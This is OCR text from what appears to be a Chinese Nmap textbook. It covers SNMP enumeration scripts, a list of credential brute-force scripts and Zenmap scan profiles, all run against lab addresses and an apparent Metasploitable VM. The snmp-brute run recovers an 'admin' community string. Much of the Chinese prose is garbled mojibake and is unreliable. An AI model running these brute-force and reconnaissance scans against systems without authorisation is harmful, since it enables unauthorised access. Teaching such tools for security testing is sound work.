i U B AL IR 1R R B U BRI AT, Dis “OTmR” 2 W o B A e s 4
BRAH, F201049 H 25 HEAHE.

{fF stuxnet-detect A ] LA 5 b &K BR Stuxnet 3 B 88, (R ARG L4
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9.10 SNMP Z&wit

[X0) swmp ot

* 9.11 Fron AARZEY PTG Nmap iy 23K, R I a2 0 AN T & s &——SNMP ik %5
ZA .

9N ATREWS
1| ®m R

http-brute # it HTTP S350 1F
ftp-brute H#7it FTP IR %5 2%
http-wordpress-brute i1 Wordpress £
http-joomla-brute 71t Joomla FEFF
pop3-brute IR PEIR S5 %
smb-brute.nse # it SMB 114
vnc-brute il VNC JIk%54%
smtp-brute Hiil SMTP Ik %5 8%
stuxnet-detect K Stuxnet 4 Hy
snmp-netstat
g iR i e SR S
snmp-brute

o B D 28 45 F L (SNMIP) HH— 21 I 28 457 B AR HE L R, A% — N2 A 2 B3 Capplication
layer protocol). %4 FEAX%Y (database schema) Fl—41 % IHX 5. % VM AERS SZREM B HE R
4, UV IR RN ZE R &R S RE R ESERNE . 2GR R TR T
1/l (Internet Engineering Task Force, IETF) & X ] Internet ¥R —#4r. SNMP () H
PO B B Internet EARZE ] FKAEFHIKEEM 5, Kt SNMP 5% Internet FrifE M 4% 5
FAEZL R IR K. SNMP C28 H 258 = AMRA K ML, FEThRREL DURT 48 K K Hh fin o A1
BT

Nmap ] snmp-netstat AT LRSI B shas 0 i 5 AR T4, Wl iz A qT PLA )
SNMP 0%, AT BASRHL H b5 EHLE R Z0IRE

BRIESR
fF 44 “nmap -sU -p 161 --script=snmp-netstat 5" B3R H br EHLIH L ERIRE .
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root@Wing:~# nmap -sU -p 161 --script=snmp-netstat 192.168.121.3

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 20:55 CST
Nmap scan report for 192.168.121.3 (192.168.121.3)

Host is up (0.000068s latency) .

PORT STATE SERVICE

161/udp open snmp

| snmp-netstat:

| TCP 0.0.0.0:21 0.0.0.0:2256

| TCP 0.0.0.0:80 0.0.0.0:8218

| TCP 0.0.0.0:135 0410050453285

| TCP 0.0.0.0:389 0. 0.0.0:38990

| TCP 0.0.0.0:445 0.0.0.0:49158

| TCP 192.168.121.3:389 192.168.121.1:1045
| TCP 192.168.121.3:389 192.168.121.1:1048
| UDP 192.168.121.3:137 L

| UDP 192.168.121.3:138 'ok

| UDP 192.168.121.3:389 &

| UDP 192.168.121.3:464 % ok

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
root@Wing: ~#

sybi

MELEAE B AT EAE 2 H A5 EHL 192.168.121.3 FIMSEEHN, HAFTH 192.168.121.3 i
Tt 389 I 145 AL 192.168.121.1 1) 1045 ¥ A E#S2 T TCP iEH#.

PR RIEER G T IEAEIBITH — NN TR, SR 22 4053 o b 2 45 i [A) 8 5 (1 2 A v
TG, BEPHBEL ABZHATH— N RIT. X THRIERGEM S, HIAERTRER. — itk
BOCFE-ANERE, BEEHFIREERN FLRE . — DR ELREMPAT I E T A — A ag
ZAMINERE, FRITEET Z LR 2T, RS A — SRR A, R th 2k iR
HCH] . 7E Nmap ' snmp-processes A< A LU SNMP R 45 MM ZSEAT I R Gt R .

root@Wing:~# nmap -sU -p 161 --script=snmp-processes 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 21:03 CST
Nmap scan report for 192.168.121.1
Host is up (0.0018s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-processes:
13

Name: System Idle Process

Name: System

|
|
| 4:
|
| 256:




9.10 SNMP Z£ it

Name: smss.exe

Path: \SystemRoot\System32\
308:

Name: csrss.exe

Path: C:\WINDOWS\system32\

SubSystemType=Windows ServerDll=basesrv,l ServerDll=winsrv:UserS
| 332:

| Name: winlogon.exe

| 380:

| Name: services.exe

| Path: C:\WINDOWS\system32\

| 392

| Name: lsass.exe

| Path: C:\WINDOWS\system32\

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
root@Wing:~#

MEL S BT AR 1 AR EVS TR R AR, HES. #EREEEE. FREENE
DERT Bbr RARIEITREF £ /> . Nmap H /] snmp-win32-services I A A] LA K3 Windows

I 55 4% f JIR 55 o

root@Wing:~# nmap -sU -p 161 --script=snmp-win32-services 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 21:09 CST
Nmap scan report for 192.168.121.1

Host is up (0.0013s latency).

PORT STATE SERVICE

161/udp open  snmp

| snmp-win32-services:

| Apache Tomcat

| Application Experience Lookup Service
| Application Layer Gateway Service

| Automatic Updates

| COM+ Event System

| COM+ System Application

| Computer Browser

| Cryptographic Services

| DB2 - DB2COPY1l - DB2

| DB2 Management Service (DB2COPY1)

| DB2 Remote Command Server (DB2COPY1)

| DB2DAS - DB2DAS00

| _ DCOM Server Process Launcher

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
root@Wing:~#

Snmp k55 B85 A5 — BRI AN R X I 55 4% (0 BUMMR AR R R R, el 3 e I AR L AR e A 2

Nmap '] snmp-brute [BIAT LU B #RAR S5 438 Snmp R 55247 12 #

Params: ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=0n
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root@Wing:~# nmap -sU -p 161 --script snmp-brute 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 21:14 CST
Nmap scan report for 192.168.121.1

Host 1s up (0.0013s latency).

PORT STATE SERVICE

161/udp open snmp

| snmp-brute:

|_ admin - Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
root@Wing: ~#

M H B S5 SR A 50 H AR S5 &% Snmp JI45 8504 0 admin. 7 BAT 5 23 5 10 45 HLE AT Lo
f# H] snmp-brute.communitiesdb I $E i — N 7 S TR AR -
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Zenmap W H

RERMIR =

e Zenmap /41

® Zenmap AL E

® Zenmap IR

e Ports/Hosts PR3

® Topology Fr%&

® Host Details #1125

o Scans PR

o YA IR

o TR AR

AREITWGA A Zenmap HIFEH . 1E4 Nmap #1248 B UFIH B T B, Zenmap A58 K1)
B A LSS AR 2 41 Shell #im N R IR AT< . Zenmap t47 T AR, FATAT Lx
XLRIRGIT B e MW E, iEEEmRIES .

(5 zenmap 4+ 43

Zenmap &2 M2 34 TH Nmap ) —ME T RETER A, £ 8B FE M HFEN
R, AMUTERIEEEA, [FR D m g e 4t 7R 2 mguketh . ME e g fr %,
HATERIEIT. A7 LRt T H# S Nmap A B #4E. FI4 Raeeyifiag, 13
Ja P o A7 A% IF13 T ARt B LA ) H e [m] o Bl (R 13 45 R B B A7 Al 72— A T R I B
PEH

K] 10.1 Fi7n 4 Zenmap [f)£: 8L ] . Zenmap +2 A Python & 5 4 5 M 8 i) U8 56 2 14 B



SLiH, RERIEATAEAFIEAE REF 6 (Windows/Linux/Unix/Mac OS %§). Zenmap 51N
Nmap H 48 58 ] & e /5 7 =0 a7 B 8 Y 44 i & T LAORAFE R Profile, P 414N 1 4
profile BT, AJLLJy (i tLACA RIKFf a5 A, ILfR it 24 #h 454 (NetworkTopology) ]
SPIATRIRIE I

[ Scan Tools Profile Help
Target: || B Profile: | Intense scan ij [S(am Cancel

Command: |nmap -T4 -A -v

EE i) | AN R (S S oY TR
[atlosts, ]| Semices | | Nmap Output | Pars / Hosts| Tapology | Host Detais] Scans|

0S 4 Host -

B0l zem R
UF] zenmap 24RE

B 10.2 ffizR , £E Target AEFT LAE N HAR) IP B304, 40 A H bR TH144)5 , Zenmap
AR EARK IP bk sl 2 I RAEE SR T, MIROTERE Target NH S (K,
Zenmap 2RI LB 2T (1) TP B4 o k.

W 10.3 Pror, Profile ST 10 A M HII 20, AFRATIELE KA H 77 it
Zenmap 27t Command T IX A 44 77 20 2L Ak T B B HSR, 491 in B 4113 4% Intense scan
77 X, Comman H [ A 2 ) /& nmap -T4 -A -v.
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10.2 Zenmap EAXRE

A& 10.2 Target N4

W 10.4 FroR, E Zenmap ) Command HA] LA HiE X5 N4, ] LLFE Profile "1 if A

g | [a] e [iomesr [l ) (o]
| Command: [nmap -T4 -A v Intense scan I {
i s e e e gloslibl L :
f @ : Nenap Output {Barts i | e <can, all TCP ports ‘,ég_i_“m__r;

05 ¢ Host a1 R S 17} 3 |Detaitst

Ping scan {
Quick scan

| Quick scan phus
! Quick traceroute
| Regular scan

Slow comprehensive scan

4@ 10.3 Profile 1+
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$£10%E Zenmap XH

05 4 Host M|

A& 10.4 Command /™4

ik 10.5 Bion, #£ Nmap Output H 2 7R Nmap F1 0 FE K455, [A] Shell £
BE R R,

||Bea Toots T Erofle - Help e :
Target: | 192.168.126.1 E] Profile: | Intense scan B

Command: |nmap -T4 -A -v 192.168.126.1

| Service

5. | Nmap Output | Pers / Hosts| Topoloay | Host Detate
0§ ¢ Host -

4 W 102.168.126.1

Starting Mmap 6.46 { http://nmap.org ) at 2014-06-13
| P 192168126131 | 15:03 PEIRENE
‘ NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
| Initiating Parallel DNS resolution of 1 host. at 15:03
Completed Parallel DNS resolution of 1 host. at 15:83,
8.09s elapsed
Skipping SYN Stealth Scan against 192.168,126.1 because
Windows does not support scanning your own machine
(localhost) this way.
Initiating Service scan at 15:83
Skipping OS Scan against 192.168.126.1 because it
doesn't work against your own machine (localhost)
NSE: Script scanning 192.168.126.1.
Initiating NSE at 15:03
Completed NSE at 15:83, ©.80s elapsed
Nmap scan report for 192.168.126.1
Host is up,
PORT

ynmap -T4 -A -v 192.168.126.1

STATE  SERVICE VERSTON
1/tep unknown tcpmux
3/tcp unknown compressnet
4/tep unknown unknown
6/tcp unknown unknown
7/tcp unknown echo
i 9/tcp unknown discard
13/tcp unknown daytime
17/tcp unknown gotd
19/tcp unkniown chargen

t
|
{
i
!
|
L

20/tcp  unknown ftp-data
21/tep unknoun ftp

22/tcp unknown ssh
23/tcp  unknown telnet
24/tcp unknown priv-mail =

A& 10.5 Nmap Output N3
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ZCi1 1) Hosts H 27 (2 B AR (1) 1P ik 5438044 A H Fx OS.
WK 10.6 Ao, FATIES: Hosts 7 ¥ 17 52 5088/ H bx OS, B3 B AL Nmap Output 47
SRR FEHR T LU . Nmap SHERFI A2 3T %

['Scan  Tools Profi

-
|| Target: 1921681261 }j Profile:  Intense scan

Command: | nmap -T4 -A -v 192.168.126.1

05 4 Host 4 nmap -T4 -A -v 192.168.126.131

W 192.168.126.1 | HOST 1S up (¥.¥BUBY.¥s latency).
, " .. | Not shown: 977 closed ports
M 0 | PORT STATE SERVICE VERSION
i R - | 21/tcp  open ftp esftpd 2.3.4

Anonymous FTP login allowed (FTP code 23@)
OpenSSH 4.7p1 Debian Subuntul

telnet Linux telnetd
smtp Postfix smtpd i
| | smtp ds: metasploitable.localdomain, PIPELINING, | |
| SIZE 18240000, VAFY, ETRN, STARTTLS,

| ENHANCEDSTATUSCODES, BBITMIME, DSN,

| | ssl-cert: Subject: commonName=ubuntuses-

| base, localdomain/organizationName=0C0SA/

| stateOrProvinceName=There is no such thing outside US/

| countryMame=XX

|| Issuer: commonName=ubuntuB@4-base.localdomain/

| organizationName=0COSA/stateOrProvinceName=There is no

| such thing outside US/countryName=XX

|| Public Key type: rsa

| | Public Key bits: 1824

| | Not valid before: 2010-83-17714:87:45+00:00

| | Not valid after: 2010-84-16T14:07:45+80:00

| | ¥DS:  dcd9 ad9@ 6cBF 273 74af 383b 2540 BE28

| |_SHa-1: ed89 3€88 7666 B3bF dSdc 2373 99b4 98da 204d

| 31cE

| | _ssl-date; 2014-85-18720:04:26+08:08; -2d18h57m3ls from
| local time.

S3/tcp  open domain ISC BIND 9.4.2

i dAns-nain

A& 10.6 Hosts T43

UF) zenmap 3tisix
Intense scan

W 10.7 fiw, RS T 3 ANMEDL, X5 Shell b R 10 5 AR . -T4 3%
TUh BY AR, IR TR SR VAR WSS IR S L R A, -A & IUAY BT ER A Y, v
WEIUA R PEAE o X2 —MrrER 7o, e F g — a4 .

Intense scan plus UDP

W 10.8 Fizn, iZFIHREREEAR & UDP 14, Hrr, -sS BI04 B3l 14, -sU &I 4 UDP
A, -A BIUAZES A, v IEDCY BoR MG R . X2 UDP S — A2 SR .
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Target: 1921681261 [2] rofil: miense scan

Command: nmap -T4 -A -v 182168.126.1

Nmap Output }po.a[ﬁom

Inmap T4 -A -v 192.168.126.1

0S ¢ Host -~
W 1921681261

Stsrtmg Wmap 6,46 ( http://nmap.org ) at 2014-06-13

Ay 192.168.126.131

‘uss Laauan 118 scripts for scanning.

MSE: Script Pre-scanning.

Initiating Parallel DNS resolution of 1 host. at 15:83
Completed Parallel DNS resolution of 1 host. at 15:03,
2.895 elapsed

Skipping SYN Stealth Scan against 192.168.126.1 because
il Windows does not support scanning your own machine
(localhost) this way.
| Initiating Service scan at 15:@:

Skipping OS Scan against 192. xas 126.1 because it
| doesn’t work against your own machine (localost)

NSE: Script scanning 192.166.126.1.

Initiating NSE at 15:03

Completed NSE at 15:83, ©.80s elapsed

Nmap scan report for 182.165.126.1
| tost is up.
PORT

STATE  SERVICE VERSION
1/tep unknon tepmus
| 3/tcp unkriown compressnet
4ftep unknown unknown
I | 6/tep unknown unknown
I | 7rtee unknoun echo
9/tcp unknown discard

| 13/tcp unknown daytime
17/tcp  unknown gotd

| 19/tcp  unknown chargen
1 20/tcp unknown ftp-data
| 2L/tep unknown ftp
22/tcp  unknown ssh

| 23/tep unknown telnet
2 24/tep unknown

o
i Filter Hosts

A& 10.7 Intense scan AR

e | L. En
| Scan Tools Profile Help o

=1 e m—
Target: | 192.168.126.131 [+] Profile: intense scan plus UDP || [Scan] [cancel]

Command: |nmap -sS -sU -T4 -A -v 192.168.126.131

map -sS -sU -T4 -A -v 192.168.126.131

OS 4 Host -

@35 elapsed -
Initiating SYN Stealth Scan at 15:14

Scanning 192.168.126.131 {1866 ports]

iscovered open port 598@/tcp on 192.168.126.131

iscovered open port 21/tcp on 192.168.126.131

iscovered open port 3386/tcp on 192.168.126.131 |
iscovered open port 22/tep on 192.168.126.131 i
iscovered open port 58/tcp on 192.168.126.131
scovered open port 445/tcp on 192.168.126.131
iscovered open port 53/tcp on 192.168.126.131
iscovered open port 111/tcp on 192.168.126.131
iscovered open port 25/tcp on 192.168.126.131
Discovered open port 139/tcp on 192.168.126.131
Discovered open port 23/tcp on 192,168.126.131
Discovered open port 512/tcs on 192.168.126.131
Discovered cpen port 2849/tcp on 192.168.126.131
Discovered open port 514/tcp on 192.168.126.131
| Discovered open port B@85/tcp om 192.168.126.131
| Discovered open port 513/tcp on 192.168.126.131
Discovered open port 1524/tcp on 192.168.126.131
| Discovered open port B188/tcp on 192.168.126.131
Discovered open port 5432/tcp on 192.168.126.131 i
Discovered open port 2123 tcp on 192.168.126.131 |
iscovered open port §667/tcp on 192.168.126.131 i
iscovered open port 6@08/tcp on 192.168.126.131 i

| Discovered open port 1096/tcp on 192.168.126.131
Completed SYN Stealth Scan at 15:14, 8.03s elapsed (1660
{ total ports)
| Initiating UDP Scan at 15:14 !
| Scanning 192.168.126.131 [160@ ports] |
| Discovered open port 111/udp on 192.168.126.131 I
| Discovered open port 2649/udp on 192.168.126.131 |
| Discovered open port 53/udp on 192.168.126.131

AF&T 10.8 Intense scan plus UDP HF$H#84R
Intense scan, all TCP ports
WK 10.9 iR, ZERSTRTA I TCP 3 0. 3, -p RIS & —A N D ya i,
-T4 ETUA BT A A, A2 TSRS T, -A BTCHESAH, v 4
WRTEAIE B
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Intense scan, no ping

| Soan Tools prome Hep

—t e

I
Command: nmap -p 1-65535 -T4 -A -v 192.168.126.131

Nrmap Output | Ports / Hosts | Topelogy | Host Details

nmap -p 1-65535 -T4 -A -v 192168126131

0S 4 Host -

| Stacting Mmap 6.45 ( http://nmap.org ) at 2014-06-13
1 15:18 PEHFEN

NSE: Loaded 118 scripts for scanning.

HSE: Script Pre-scanning.

Initiating ARP Ping Scan at 15:18

Scanning 192.168.126.131 [1 port]

| Completed ARP Ping Scan at 15:18, 8.41s elapsed (1 total
| hosts)

| Initiating Parallel ONS resolution of 1 host. at 15:18
| Completed Pacallel DMS resolution of 1 host. at I

| 8.065 elapsed

Initiating SYN Stealth Scan at 15:18

Scanning 192.168.126.131 [65535 ports]

Discovered open port 21/tcp on 192.168.126.131
Discovered open port 53/tcp on 192.168.126.131
Discovered open port 25/tcp on 192.168.126.131

| Discovered open port 23/tcp on 192.168.126.13%

| Discovered open port 5988/tcp on 192.168.126.131

| Discovered open port 445/tcp on 192.168.126.131
Discovered open port 22/tcp on 192.168.126.131

| Discovered open port 111/tep on 192.168.126.131
Discovered open port 138/tcp on 192.168.126.131
Discovered open port B8/tcp on 192.168.126.131
Discovered open port 33@6/tcp on 192.168.126.131

| Discovered open port 41255/tep on 192.168.126.131
Discovered open port 2121/tcp on 192.168.126.131
Discovered open port 1899/tcp on 192.168.126.131
Discovered open port 1524/tcp on 192.168.126.131

| Discovered open port B787/tep on 192.168.126.131

| Discovered open port 6667/tcp on 192.168.126.131

| Discovered open port 512/tcp on 192.168.126.131 |
| Discovered open port 3632/tep on 192.168.126.131 |
| Discovered open port 514/tcp on 192.168.126.131 « |
! ~Anihoo - ahn {

| T 1 1
Target  102.168.126.131 |7] Profile: intense scan, all TCP ports || |Scan] |Cancel |

A 10.9 Intense scan, all TCP ports 3i#4E4R

1515

W 10.10 Bios, ZEAGETE Ping $14, Horb, -T4 JEHUNEF B, -A BTN LG
i, v IEHUCH SR VEAER, -Pn iR 00U EE BRI 2T A M gaRiE (R
S Hbs EHLCETFE, v &0,

Scan Tools Profle Heip
Target: | 192.168.126.131 5 prti: { T stas, sopig

Command:  nmap -T4 -A -v -Pn 192.168.126.131

| scans|
08 ¢ Host s rmap T4 -A v Pp 192168126131 -

4 192168126131 | s
| Starting ftimap 6.46 ( http://nmap.org ) at 2014-96-13 i
| 15:22 PEMFER A

| NSE: Loaded 118 scripts for scanning.

NSE: Script Pre-scanning.

Initiating ARP Ping Scan at 15:23

| Scanning 192.168.126.131 [1 port]

| Completed ARP Ping Scan at 15:23, @.43s elapsed (1 total
| hosts)

| Initiating Parallel DNS resolution of 1 host. at 15:23 i
| Completed Parallel DNS resolution of 1 host. at 15:23, |
| .25 elapsed |
| Initiating SYN Stealth Scan at 15:23

| Scanning 192.168.126.131 (1600 ports]

Discovered open port 111/tcp on 192.168.126.131 E
| Discovered open port 22/tcp on 192.168.126.131

| Discovered open port 23/tcp on 192.168.126.131

Discovered open port 3386/tcp on 192.168.126.131

| Discovered open port| 53/tcp on 192.168.126.131

Discoversd open port 5980/tcp on 192.168.126.131

Discovered open port 88/tcp on 192.168.126.131

| Discovered open port 445/tcp on 192.168.126.131 !
Discovered open port 21/tcp on 192.168.126.131 i
| Discovered open port 139/tcp on 192.168.126.131 |
| Discovered open port 25/tcp on 192.168.126.131 !
| Discovered open port 1524/tcp on 192.168.126.131

| Discovered open port 6567/tcp on 192.168.126.131

| Discovered open port 1899/tcp on 192.168.126.131

| Discovered open port 6608/tcp on 192.168.126.131

| Discovered open port 2121/tcp an 192.168.126.131

Discovered open port 5432/tcp on 192.168.126.131

Discovered open port S14/tcp on 192.168.126.131

Discovered open port 2049/tcp on 192.168.126.131

Discovered open port 8186/tcp on 192.168.126.131 ”

AE 10.10 Intense scan, no ping FA#EHEMHR
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210% Zenmap [f8

Ping scan

W 10.11 o, ZITHEHRUE Ping 5946, -sn I8 H AT EHLAHL .

-

| Scan Tools Profie Help
Target 192.168.126.131 El Profile:  Ping scan i {Sun] Canvcel

Command:  nmap -sn 192.168.126.131

(s serves | | o ot o o Tepoeny st
| 05 « Host 4 |nmap -sn 192.166.126.131
| W 102168126131 |

Starting Nmap 6.45 ( http://nmap.org ) et 2014-86-13 15:29

Neap scan report for 192.158.126.131

Host is up (€.86s latency).

KAC Address: 90:0C:29:€0:2E:76 (Viware)

Weap done: I_IP address (1 host up) scanned in 8.25 seconds

aE 10.11 Ping scan HiEtE
Quick scan

WE 10.12 iR, EHFEESUEPOE IR . -T4 HEFREH, -F APidad.
e - =y

| Scan Tools Profie Heip
T S | sgeay |
Target 192.168.126.131 3 Profile: | Quick scan E |Scan| Concel

Command:  nmap -T4 -F 192.168.126.131

(i ]| semics | | tap Ouput o  os| Topoiogy | Hest Dt cans

05 4 Host N nmap -T4 -F 192.168.126.131 &2

| W 192168126131
Starting Nmap 6.45 ( http://nwap.crg ) at 2014-86-13 15:33
PER ]
fe=ap scan report For 192.168.126.131
Host is up (8.0818s latency).
fot shown: B2 closed ports
PORT STATE SERVICE

0 ftp

ssh

telnet

satp

domaln

http

rpcving

netbios-ssn

alcrosaft-ds

login

snell

afs

ceprovy-ftp

11 + mysal

i 5432/tcp open  postgresgl

| se0/1ep apen vnc

w008/ tcp open K11

Be09/tcp open  ajplld

MAC Address: 90:0C:29:EQ:26:76 (VMware) {
| timap done: 1_IP address (1 host up) scanned in 8.65 seconds

A 1012 Quick scan 3R
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10.3 Zenmap HIEER

Quick scan plus

Wi 10.13 FroR, %A S BRI AR %5 R A fio 13 . -sV IETIUA 300 Ak 45 R A
WEIOA PR, -0 WA RS, -F EIUAPOESH, --version-light SEIUN R 3R AL .
[FOE S s . =@ =3

Scan Tools rome isip :
Target | 192168126131 j Profle: | Quick scan plus E] [scn] [Carcel]
|| Command: | nmap -sv T4 -0 -F --version-light 152168126.131 }

[Ettesta] sevvices | | Nmap Output | pons mmn—hj__‘_

1108 « Host 4 inmap sV uorwmmmmamm E‘ -
|| D 192168126131 gprovacol 2.9)
o coen telnet Limie telneta
[ 35/tcp open sep Postfix sstpd
S3/tcp  open Jdomain IS 8IND 9.2.2
80/tcp  open Mip Apache nttpd 2.2.8 ((Uwotu)
OAv/2)
I 111/¢cp open  rpcbing 2 (RPC £100000)
139/tcp open neibios-ssn Semba smC 3.X (workgroup:
WORKGROU® )
245/tcp open nethios ssn Samba $EbG 3.X (Workgroup:
| HORKGROUP )
S13/tcn open lugint
| S187tcn open topurapped
| 20437t cp open nfs 24 (RPC 2100063)
| 212471cp open  Fip ProfiPD 1.3.1
| 3306/ 1cp open mysil MySQL 5.6, 55a- Tuburitus
pen postgresal PosteresQl OB K. 4@ - K37
| 9ty wpen vk W (protocol .4)
OO0 ey open  X11 (szcess denied)
20007105 open ajp13 Auathe Jserv (Pratacol vi.3)
AL Address:_00.0Ci20.F0:2E:76 (Viware)
Device type:_general purpose

Rumun[ Linux 2.6.X
CPE: cpe Luumn unux ker‘nel 2.6
05 getails:

Service Info: Host: metasploftable.localdosain; 0Ss:
Unix, Linux; CPE: cpei/o:linun:linux_kernel

§ 05 9 ServicE gpvecelon peiforati PLoise regert any
incorrect results at http://nmwap.org/sudei

Meap done: 1_1P pgdress (1 host up) swmea in 2281
seconds 3

== = I}

A@E 10.13 Quick scan plus F#ER

Quick traceroute

WP 10.14 PR, 23R 2 IG ERH HH 1T AR, -sn BI04 A MBEAT EHUADL, -traceroute
IR A 1B B EH Y R

m_l il =@ =3
| Target 192168126131 3 Profile:  Quick traceroute E’ :séj Cancs!

| Command: nmap -sn --tracecoute 192.168.126.131

;nmap -sn --traceroute 192.168.126.131

Starting Neap 6.46 ( http://nwap.org ) at 2018-06-13 15:43 |
PEHERN

Neap scan report for 192.168.126.131
Host is up (8.8@s latency).
HAC Address:_00:0C:29:EQ:2E:76 (Viare)

- TRACEROUTE
0P RTT ADORESS
1 .00 ms 192.168.126.131

| Nmap done: 1_IP address (1 host up) scanned in 8.33 seconds

|

_— S |

AE 10.14 0u1ck traceroute HiaEiR
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Regular scan

W 10.15 Fron, ERALEMH, 335 LA 2 AP NS EGEREH.

?‘3 o
e S e ol S
| Scan Tools Profile Help i
Target | 192.168.126.128 3 Profie: Regularscan [=] [sean] [conce

Command:  nmap 192.168.126.128
tost ]| semices | smop Outpt vt Host| Topciogy | ot oese [ seare|
| 08 ¢ Host + ! nmap192.168.126.128 Ej |Details |

| A 192.168.126.131
i Starting Mmap 6.46 ( http://nmap.crg ) at 2814-06-13 15:47 !
PEFREN R i

Note: Host seems down. I it is really up, but blocking our
ping probes, try -Pn
Nmap done: 1_IP address (@ hosts up) scanned in B.65 seconds

=

A& 10.15 Regular scan AiEER

Slow comprehensive scan

i 10.16 Fras, PA#ERE SR, RAI1%FE— T 58HEARER) “nmap -sS -sU -T4 -A
-v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)"
192.168.126.128”, -sS BEIUA Eailicf A4, -sU 3T 0 UDP 94 . -T4 AEFIREH, -A WA
i, v WERMMNER, -PE. -PP AfEH 1P HhXAHENX F EHEEFE, -PS A
TCPSYN/ACK £ SCTP INIT/ECHO J5 AT K I, -PA & ACK HH#, -PY Ai#4T—4 SCTP
Y14 Ping, -g Jyfd TR E WG 10, --script A f# H NES JHIA .

KT} Pons/Hosts #%

1P 10.17 7R, Ports/Hosts AR%5 7R A2 2 RTR B A5 H . o H BRI o FORAE . R
% O VRAE R, HE R D RS A S Bk,



10.5 Topology %

n Tools Proe Help

Target | 192.168.126128 [] #rofie:  siow comprehensive scan [+ |scan]

(= —

| 05+ pest « |Pmap 45 sU T4 -A - -PE -PP -PSB0,443 -PAI3BI -P... =]
1 192.168.126.131

S‘tlrtinl Wrap 6.46 ( http://nmap.org ) at 2014-96-13 15:50
]

|
|
NSE: Loaded 248 scripts for scanning. |
WSE: Script Pre-scamning. {

Initiating HSE at 15:58

WSE: wtrace: A source IP must be provided through fromip
argusent .

Completac NSE at 15:58, 12.11s elapsed

Pre-sean script results:

| broadcast-eigrp-discovery: |
| ERROR: Couldn't get an A.S value. i
| http-icloud-Findmyiphone:

| ERROR: Mo username or password was supplied
| http-icloud-sendmsg:
{1
il

ERROR: No username or password was supplied
targets-asn:
_ targets-asn.asn is 3 mandatory parameter

\ Initiating ARP Ping Scan at 15:58

| Scanning 192.168.126.128 [1 port]

| Completea ARP Ping Scan at 15:50, B.615 elapsed (1 total

| hosts)

| Nmap scan report for 192,158.126.128 [host down]

WSE: Script Post-scanning.

Read deta files from: C:\Program Files (x86)\Nmap

MNote: Host seees down. If it is really up, but blocking our

ping proves, try -Pn B

Mmap done: I_JP address (8 hosts up) scanned in 22.24
seconds
Rew packets sent: 2 (568) | Rcva: @ (e8)

AE 10.16 Slow comprehensive scan 3 #iEAR

Todls Profie Heip =
Torget | 192168126128 3 Profile: Slcwremprehenswesun:] Cancel ||
,Cornﬂw‘d  -PA3389 -PLAOL2S -PY g 53 ~script “defauh or (discovery and safe)” 192.168.126.128 |

nmnooqn- Donx/Nom Im!uum-l-

<« Port ¢ Protocol 4 State ¢ Service ¢ Version i
P 192168126131 A w open fip vsftpd 2.3.4 B
[ i 2w open  ssh OpenSSH 47p1 Debian 8
23 wp open  telnet Linux telnetd
25 tcp open  smtp Postfix smtpd

domain  ISC BIND 9.4.2

http Apache httpd 2.2.8 ((Ubun
rpcbind 2 (RPC #100000)
netbios-ssn  Samba smbd 3.X 1.0.&9..
netbios-ssn  Samba smbd 3.X (workgr:|

eE23 9000000 CTECEETESTDE OO
£

nis 2-4 (RPC #100003)

fp ProFTPD 131

mysql MySQL 5.0.51a-3ubuntus
5432 wp postgresql PostgreSQL DB 8.3.0 - 83
5900 tep e VNC (protocol 3.3)

6000 tcp open X1l (access denied)

BOOS tep open  ajpl3 Apache Jserv (Protocol v1

3306

a® 10.17 Ports/Hosts #r%

WA 1018 Fras, HJ|ATEAH— AL, HERHI%, £ Topology W& &FFKT
R H bR AP AR HbRRE R IE .

223



Sean Toots Provie Heip
Torget: 192168126138 =] orofie: ping sean

Command:  nmap -sn 192.168126.13%
[pte) servces | N g oo, Topoico st Duain scns

05 4 Hom = [Hoss Viewsr Faheys | Comrois —
¥ 1921681261 e . Sevpis
» 192188126131

@ 152.168.126.131
.._Iocaihos(

@ 192.168.126.1

A& 10.18 Topology #r%

LX) Hostoetails 4%

ik 10.19 fii7n, Host Details ZET0 2 o HARBON VEAN {5 &, 35 1Pva Huhk, 1Pve b
k. MAC Huhik2% .

| Torgew 1521684351 =] Profier " intense scon -] lscon

| Command: nmap T3 A v 1821681261

| OS ¢ Host & = 1921681261

{ W 1s21880061 " Host Status

| ® w2esmsin State- o

| Open ports: o F
Fitered porte: 0

Closed ports= 0
Scanned ports: 1000

Up e Not svaiable a

Last boot: Not available.
Addresses

! ot 1921681261

PG Not avaiable

i MAC: ok ansiable
+ Comments

e

AE 10.19 Host Details Fr%

LER scans #5%
WK 10.20 f7r, Scans FRFERARVEANS M BA LRI H TS, A BATEE T RIA (A
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108 HIEFEER

fir<, WLAfE Scans FHAHATER . AN A& LLEBH#MME R .

vz SR o T =& »s]
|| sean  Toots protie ety |
|| Targer: 1523681261 E Profiler |Iotease scan 3 o pal}
C«ommand: nmap T4 -A -v 192168.126.1 |

| Serices | Nmap Ot st o Topoiogy om Dot scas
i‘osvm « fie. Command

Unsaved nmap -Td -A -v 192.168.126.131

|| W 1921681261
| Unsaved nmap T4 -A -v 192.168,126.1 i

i
Il m 102168126231

e P e X
A& 10.20 Scans 3%

st T

i 10.21 frzn, Zenmap HR 2 Hw AR, FRATAT LA AP ILE AR AT RE.
7 Profile 3¢ LIk £F “Edit Selected Profile”.

+ Zenmep =
['Scgn Toots prowe e
Tt Hewrofie or Command  OUt+P |

i EoitSelected Profile CivE
§ Command; AT s s S
|[LHosts ]| services | ' Nmap Outpot Ports / Hosss | Topelogy | Host Detat| Scans
| 05 ¢ Host -
|
|

e s

AF 1021 REFRERR
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£10% Zenmap KZF

W 10.22 fiizn, EFTH A% D) Profile An%5 0 A] DL B SR ) 44 - -

nmap T4 -A v [scan

| profie | scan| ping| Scriping Target | source| Other [Timing| o

| 1 Description
| Profile Information |

! | The description is a full
| Profile name Intense scan | description of what the scan
|

| | does, which may be long.

| Description  An intense, comprehensive scan. The -A option enables OS

| detection (-0), version detection (-sV), script scanning (-sC),
